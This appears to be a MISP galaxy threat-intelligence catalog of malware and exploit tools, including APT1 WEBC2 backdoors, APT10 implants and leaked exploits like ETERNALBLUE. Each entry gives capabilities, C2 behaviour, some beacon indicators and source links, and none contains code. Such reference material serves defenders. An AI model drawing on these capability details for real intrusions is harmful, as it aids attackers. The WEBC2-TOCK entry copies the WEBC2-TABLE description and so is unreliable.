http://contagiodump.blogspot.com/2010/06/these-days-i-see-spike-in-number-of.html

MINIASP

This family of malware consists of backdoors that attempt to fetch encoded commands over HTTP. The malware is capable of downloading a file, downloading and executing a file, executing arbitrary shell commands, or sleeping a specified interval.

The tag is: *misp-galaxy:tool="MINIASP"*

Table 4066. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

NEWSREELS

The NEWSREELS malware family is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. These strings are both used as C2 channels, one URL is used as a beacon URL (transmitting) and the second URL is used to get commands (receiving). The NEWSREELS malware family is capable of performing file uploads, downloads, creating processes or creating an interactive reverse shell.

The tag is: *misp-galaxy:tool="NEWSREELS"*

Table 4067. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

SEASALT

The SEASALT malware family communicates via a custom binary protocol. It is capable of gathering some basic system information, file system manipulation, file upload and download, process creation and termination, and spawning an interactive reverse shell. The malware maintains persistence by installing itself as a service.

The tag is: *misp-galaxy:tool="SEASALT"*

Table 4068. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

STARSYPOUND

STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "**(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host responds with a packet that also begins with the string "**(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.

The tag is: *misp-galaxy:tool="STARSYPOUND"*

Table 4069. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

SWORD

This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.

The tag is: *misp-galaxy:tool="SWORD"*

Table 4070. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

TABMSGSQL

```
This malware family is a full-featured backdoor capable of file uploading and
downloading, arbitrary execution of programs, and providing a remote interactive
command shell. All communications with the C2 server are sent over HTTP to a static
URL, appending various URL parameters to the request. Some variants use a slightly
different URL.
```

The tag is: *misp-galaxy:tool="TABMSGSQL"*

TABMSGSQL is also known as:

- TROJAN LETSGO

Table 4071. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

TARSIP-ECLIPSE

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-ECLIPSE"*

Table 4072. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

TARSIP-MOON

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-MOON family is distinguished by the presence of 'moon' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-MOON"*

Table 4073. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WARP

The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the ?%SYSTEMROOT%\system32\cmd.exe? file as '%USERPROFILE%\Temp\~ISUN32.EXE'. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.

The tag is: *misp-galaxy:tool="WARP"*

Table 4074. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-ADSPACE

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.

The tag is: *misp-galaxy:tool="WEBC2-ADSPACE"*

Table 4075. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-AUSOV

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and execute compressed binaries.

The tag is: *misp-galaxy:tool="WEBC2-AUSOV"*

Table 4076. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-BOLID

```
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server.
It expects the Web page to contain special HTML tags; the backdoor will attempt to
interpret the data between the tags as commands. This family of malware is a backdoor
capable of downloading files and updating its configuration. Communication with the
command and control (C2) server uses a combination of single-byte XOR and Base64
encoded data wrapped in standard HTML tags. The malware family installs a registry key
as a persistence mechanism.
```

The tag is: *misp-galaxy:tool="WEBC2-BOLID"*

Table 4077. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-CLOVER

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the Updatasched.exe file.

The tag is: *misp-galaxy:tool="WEBC2-CLOVER"*

Table 4078. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-CSON

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware act only as downloaders and droppers for other malware. They communicate with a hard-coded C2 server, reading commands embedded in HTML comment fields. Some variants are executables which act upon execution, others are DLLs which can be attached to services or loaded through search order hijacking.

The tag is: *misp-galaxy:tool="WEBC2-CSON"*

Table 4079. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-DIV

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-DIV variant searches for the strings "div safe:" and " balance" to delimit encoded C2 information. If the decoded string begins with the letter "J" the malware will parse additional arguments in the decoded string to specify the sleep interval to use. WEBC2-DIV is capable of downloading a file, downloading and executing a file, or sleeping a specified interval.

The tag is: *misp-galaxy:tool="WEBC2-DIV"*

Table 4080. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-GREENCAT

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware is a variant on the GREENCAT family, using a fixed web C2. This family is a full featured backdoor which provides remote command execution, file transfer, process and service enumeration and manipulation. It installs itself persistently through the current user's registry Run key.

The tag is: *misp-galaxy:tool="WEBC2-GREENCAT"*

Table 4081. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-HEAD

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-HEAD variant communicates over HTTPS, using the system's SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string containing the name of the compromised machine running the malware.

The tag is: *misp-galaxy:tool="WEBC2-HEAD"*

Table 4082. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-KT3

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-KT3 variant searches for commands in a specific comment tag. Network traffic starting with *!Kt3+v| may indicate WEBC2-KT3 activity.

The tag is: *misp-galaxy:tool="WEBC2-KT3"*

Table 4083. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-QBP

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be "2010QBP " followed by " 2010QBP//--". Inside these tags will be a DES-encrypted string.

The tag is: *misp-galaxy:tool="WEBC2-QBP"*

Table 4084. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-RAVE

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will spawn an encoded reverse shell to an attacker specified location and port.

The tag is: *misp-galaxy:tool="WEBC2-RAVE"*

Table 4085. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-TABLE

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: *misp-galaxy:tool="WEBC2-TABLE"*

Table 4086. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-TOCK

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: *misp-galaxy:tool="WEBC2-TOCK"*

Table 4087. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-UGX

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time.

The tag is: *misp-galaxy:tool="WEBC2-UGX"*

Table 4088. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-Y21K

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.

The tag is: *misp-galaxy:tool="WEBC2-Y21K"*

Table 4089. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-YAHOO

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named 'sb' or 'ex' within a tag named 'yahoo'. The embedded link can direct the malware to download and execute files.

The tag is: *misp-galaxy:tool="WEBC2-YAHOO"*

Table 4090. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HAYMAKER

HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string.

The tag is: *misp-galaxy:tool="HAYMAKER"*

HAYMAKER has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="ChChes - S0144" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"

Table 4091. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

BUGJUICE

BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.

The tag is: *misp-galaxy:tool="BUGJUICE"*

BUGJUICE has relationships with:

- similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 4092. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

SNUGRIDE

SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. Persistence is maintained through a Run registry key.

The tag is: *misp-galaxy:tool="SNUGRIDE"*

SNUGRIDE has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="SNUGRIDE - S0159" with estimative-language:likelihood-probability="likely"

Table 4093. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

QUASARRAT

QUASARRAT is an open-source RAT available at https://github.com/quasar/QuasarRat . The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past.

The tag is: *misp-galaxy:tool="QUASARRAT"*

Table 4094. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/

da Vinci RCS

Hacking Team’s "DaVinci" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target’s location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.

The tag is: *misp-galaxy:tool="da Vinci RCS"*

da Vinci RCS is also known as:

- DaVinci
- Morcut

Table 4095. Table References

Links
http://surveillance.rsf.org/en/hacking-team/
https://wikileaks.org/hackingteam/emails/fileid/581640/267803
https://wikileaks.org/hackingteam/emails/emailid/31436

LATENTBOT

LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.

The tag is: *misp-galaxy:tool="LATENTBOT"*

Table 4096. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

FINSPY

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: *misp-galaxy:tool="FINSPY"*

FINSPY is also known as:

- BlackOasis

FINSPY has relationships with:

- similar: misp-galaxy:rat="FINSPY" with estimative-language:likelihood-probability="likely"

Table 4097. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

RCS Galileo

HackingTeam Remote Control System (RCS) Galileo hacking platform

The tag is: *misp-galaxy:tool="RCS Galileo"*

Table 4098. Table References

Links
https://www.f-secure.com/documents/996508/1030745/callisto-group

EARLYSHOVEL

RedHat 7.0 - 7.1 Sendmail 8.11.x exploit

The tag is: *misp-galaxy:tool="EARLYSHOVEL"*

Table 4099. Table References

Links
https://github.com/misterch0c/shadowbroker

EBBISLAND (EBBSHAVE)

root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9 & 10 (possibly newer) both SPARC and x86

The tag is: *misp-galaxy:tool="EBBISLAND (EBBSHAVE)"*

Table 4100. Table References

Links
https://github.com/misterch0c/shadowbroker

ECHOWRECKER

remote Samba 3.0.x Linux exploit

The tag is: *misp-galaxy:tool="ECHOWRECKER"*

Table 4101. Table References

Links
https://github.com/misterch0c/shadowbroker

EASYBEE

appears to be an MDaemon email server vulnerability

The tag is: *misp-galaxy:tool="EASYBEE"*

Table 4102. Table References

Links
https://github.com/misterch0c/shadowbroker

EASYPI

an IBM Lotus Notes exploit that gets detected as Stuxnet

The tag is: *misp-galaxy:tool="EASYPI"*

Table 4103. Table References

Links
https://github.com/misterch0c/shadowbroker

EWOKFRENZY

an exploit for IBM Lotus Domino 6.5.4 & 7.0.2

The tag is: *misp-galaxy:tool="EWOKFRENZY"*

Table 4104. Table References

Links
https://github.com/misterch0c/shadowbroker

EXPLODINGCAN

an IIS 6.0 exploit that creates a remote backdoor

The tag is: *misp-galaxy:tool="EXPLODINGCAN"*

Table 4105. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALROMANCE

a SMB1 exploit over TCP port 445 which targets XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges (MS17-010)

The tag is: *misp-galaxy:tool="ETERNALROMANCE"*

Table 4106. Table References

Links
https://github.com/misterch0c/shadowbroker

EDUCATEDSCHOLAR

a SMB exploit (MS09-050)

The tag is: *misp-galaxy:tool="EDUCATEDSCHOLAR"*

Table 4107. Table References

Links
https://github.com/misterch0c/shadowbroker

EMERALDTHREAD

a SMB exploit for Windows XP and Server 2003 (MS10-061)

The tag is: *misp-galaxy:tool="EMERALDTHREAD"*

Table 4108. Table References

Links
https://github.com/misterch0c/shadowbroker

EMPHASISMINE

a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2

The tag is: *misp-galaxy:tool="EMPHASISMINE"*

Table 4109. Table References

Links
https://github.com/misterch0c/shadowbroker

ENGLISHMANSDENTIST

Outlook Exchange WebAccess rules to trigger executable code on the client's side to send an email to other users

The tag is: *misp-galaxy:tool="ENGLISHMANSDENTIST"*

Table 4110. Table References

Links
https://github.com/misterch0c/shadowbroker

EPICHERO

0-day exploit (RCE) for Avaya Call Server

The tag is: *misp-galaxy:tool="EPICHERO"*

Table 4111. Table References

Links
https://github.com/misterch0c/shadowbroker

ERRATICGOPHER

SMBv1 exploit targeting Windows XP and Server 2003

The tag is: *misp-galaxy:tool="ERRATICGOPHER"*

Table 4112. Table References

Links

https://github.com/misterch0c/shadowbroker

ETERNALSYNERGY

a SMBv3 remote code execution flaw for Windows 8 and Server 2012 SP0 (MS17-010)

The tag is: *misp-galaxy:tool="ETERNALSYNERGY"*

Table 4113. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALBLUE

SMBv2 exploit for Windows 7 SP1 (MS17-010)

The tag is: *misp-galaxy:tool="ETERNALBLUE"*

Table 4114. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALCHAMPION

a SMBv1 exploit

The tag is: *misp-galaxy:tool="ETERNALCHAMPION"*

Table 4115. Table References

Links
https://github.com/misterch0c/shadowbroker

ESKIMOROLL

Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2 domain controllers

The tag is: *misp-galaxy:tool="ESKIMOROLL"*

Table 4116. Table References

Links
https://github.com/misterch0c/shadowbroker

ESTEEMAUDIT

RDP exploit and backdoor for Windows Server 2003

The tag is: *misp-galaxy:tool="ESTEEMAUDIT"*

Table 4117. Table References

Links
https://github.com/misterch0c/shadowbroker

ECLIPSEDWING

RCE exploit for the Server service in Windows Server 2008 and later (MS08-067)

The tag is: *misp-galaxy:tool="ECLIPSEDWING"*

Table 4118. Table References

Links
https://github.com/misterch0c/shadowbroker

ETRE

exploit for IMail 8.10 to 8.22

The tag is: *misp-galaxy:tool="ETRE"*

Table 4119. Table References

Links
https://github.com/misterch0c/shadowbroker

FUZZBUNCH

an exploit framework, similar to MetaSploit

The tag is: *misp-galaxy:tool="FUZZBUNCH"*

Table 4120. Table References

Links
https://securelist.com/darkpulsar/88199/
https://github.com/misterch0c/shadowbroker

ODDJOB

implant builder and C&C server that can deliver exploits for Windows 2000 and later, also not detected by any AV vendors

The tag is: *misp-galaxy:tool="ODDJOB"*

Table 4121. Table References

Links
https://github.com/misterch0c/shadowbroker

PASSFREELY

utility which Bypasses authentication for Oracle servers

The tag is: *misp-galaxy:tool="PASSFREELY"*

Table 4122. Table References

Links
https://github.com/misterch0c/shadowbroker

SMBTOUCH

check if the target is vulnerable to samba exploits like ETERNALSYNERGY, ETERNALBLUE, ETERNALROMANCE

The tag is: *misp-galaxy:tool="SMBTOUCH"*

Table 4123. Table References

Links
https://github.com/misterch0c/shadowbroker

ERRATICGOPHERTOUCH

Check if the target is running some RPC

The tag is: *misp-galaxy:tool="ERRATICGOPHERTOUCH"*

Table 4124. Table References

Links
https://github.com/misterch0c/shadowbroker

IISTOUCH

check if the running IIS version is vulnerable

The tag is: *misp-galaxy:tool="IISTOUCH"*

Table 4125. Table References

Links

https://github.com/misterch0c/shadowbroker

RPCOUTCH

get info about windows via RPC

The tag is: *misp-galaxy:tool="RPCOUTCH"*

Table 4126. Table References

Links
https://github.com/misterch0c/shadowbroker

DOPU

used to connect to machines exploited by ETERNALCHAMPIONS

The tag is: *misp-galaxy:tool="DOPU"*

Table 4127. Table References

Links
https://github.com/misterch0c/shadowbroker

FlexSpy

covert surveillance tools

The tag is: *misp-galaxy:tool="FlexSpy"*

feodo

Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye's MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal group.

The tag is: *misp-galaxy:tool="feodo"*

Table 4128. Table References

Links
https://www.fireeye.com/blog/threat-research/2010/10/feodosoff-a-new-botnet-on-the-rise.html

Cardinal RAT

Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.

The tag is: *misp-galaxy:tool="Cardinal RAT"*

Cardinal RAT has relationships with:

- similar: misp-galaxy:malpedia="Cardinal RAT" with estimative-language:likelihood-probability="likely"

Table 4129. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/

REDLEAVES

The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.

The tag is: *misp-galaxy:tool="REDLEAVES"*

Table 4130. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-117A

Kazuar

Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.

The tag is: *misp-galaxy:tool="Kazuar"*

Kazuar has relationships with:

- similar: misp-galaxy:malpedia="Kazuar" with estimative-language:likelihood-probability="likely"

Table 4131. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Trick Bot

Many links indicate, that this bot is another product of the people previously involved in Dyreza. It seems to be rewritten from scratch – however, it contains many similar features and solutions to those we encountered analyzing Dyreza (read more).

The tag is: *misp-galaxy:tool="Trick Bot"*

Trick Bot is also known as:

- TrickBot
- TrickLoader

Trick Bot has relationships with:

- similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Trickbot" with estimative-language:likelihood-probability="likely"

Table 4132. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.fraudwatchinternational.com/malware/trickbot-malware-works
https://securityintelligence.com/trickbot-is-hand-picking-private-banks-for-targets-with-redirection-attacks-in-tow/
https://www.bleepingcomputer.com/news/security/trickbot-banking-trojan-gets-screenlocker-component/

Hackshit

Netskope Threat Research Labs recently discovered a Phishing-as-a-Service (PhaaS) platform named Hackshit, that records the credentials of the phished bait victims. The phished bait pages are packaged with base64 encoding and served from secure (HTTPS) websites with “.moe” top level domain (TLD) to evade traditional scanners. “.moe” TLD is intended for the purpose of ‘The marketing of products or services deemed’. The victim’s credentials are sent to the Hackshit PhaaS platform via websockets. The Netskope Active Platform can proactively protect customers by creating custom applications and a policy to block all the activities related to Hackshit PhaaS.

The tag is: *misp-galaxy:tool="Hackshit"*

Table 4133. Table References

Links
https://resources.netskope.com/h/i/352356475-phishing-as-a-service-phishing-revamped

Moneygram Adwind

The tag is: *misp-galaxy:tool="Moneygram Adwind"*

Table 4134. Table References

Links
https://myonlinesecurity.co.uk/new-guidelines-from-moneygram-malspam-delivers-a-brand-new-java-adwind-version/

Banload

```
Banload has been around since the last decade. This malware generally arrives on a
victim’s system through a spam email containing an archived file or bundled software as
an attachment. In a few cases, this malware may also be dropped by other malware or a
drive-by download. When executed, Banload downloads other malware, often banking
Trojans, on the victim’s system to carry out further infections.
```

The tag is: *misp-galaxy:tool="Banload"*

Table 4135. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/03/banload-malware-affecting-brazil-exhibits-unusually-complex-infection-process/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/banload
http://blog.trendmicro.com/trendlabs-security-intelligence/banload-limits-targets-via-security-plugin/
https://securingtomorrow.mcafee.com/mcafee-labs/banload-trojan-targets-brazilians-with-malware-downloads/

Smoke Loader

This small application is used to download other malware. What makes the bot interesting are various tricks that it uses for deception and self protection.

The tag is: *misp-galaxy:tool="Smoke Loader"*

Smoke Loader is also known as:

- SmokeLoader

Smoke Loader has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Smoke Loader - S0226" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-probability="likely"

Table 4136. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/

LockPoS

The analyzed sample has a recent compilation date (2017-06-24) and is available on VirusTotal. It starts out by resolving several Windows functions using API hashing (CRC32 is used as the hashing function).

The tag is: *misp-galaxy:tool="LockPoS"*

Table 4137. Table References

Links
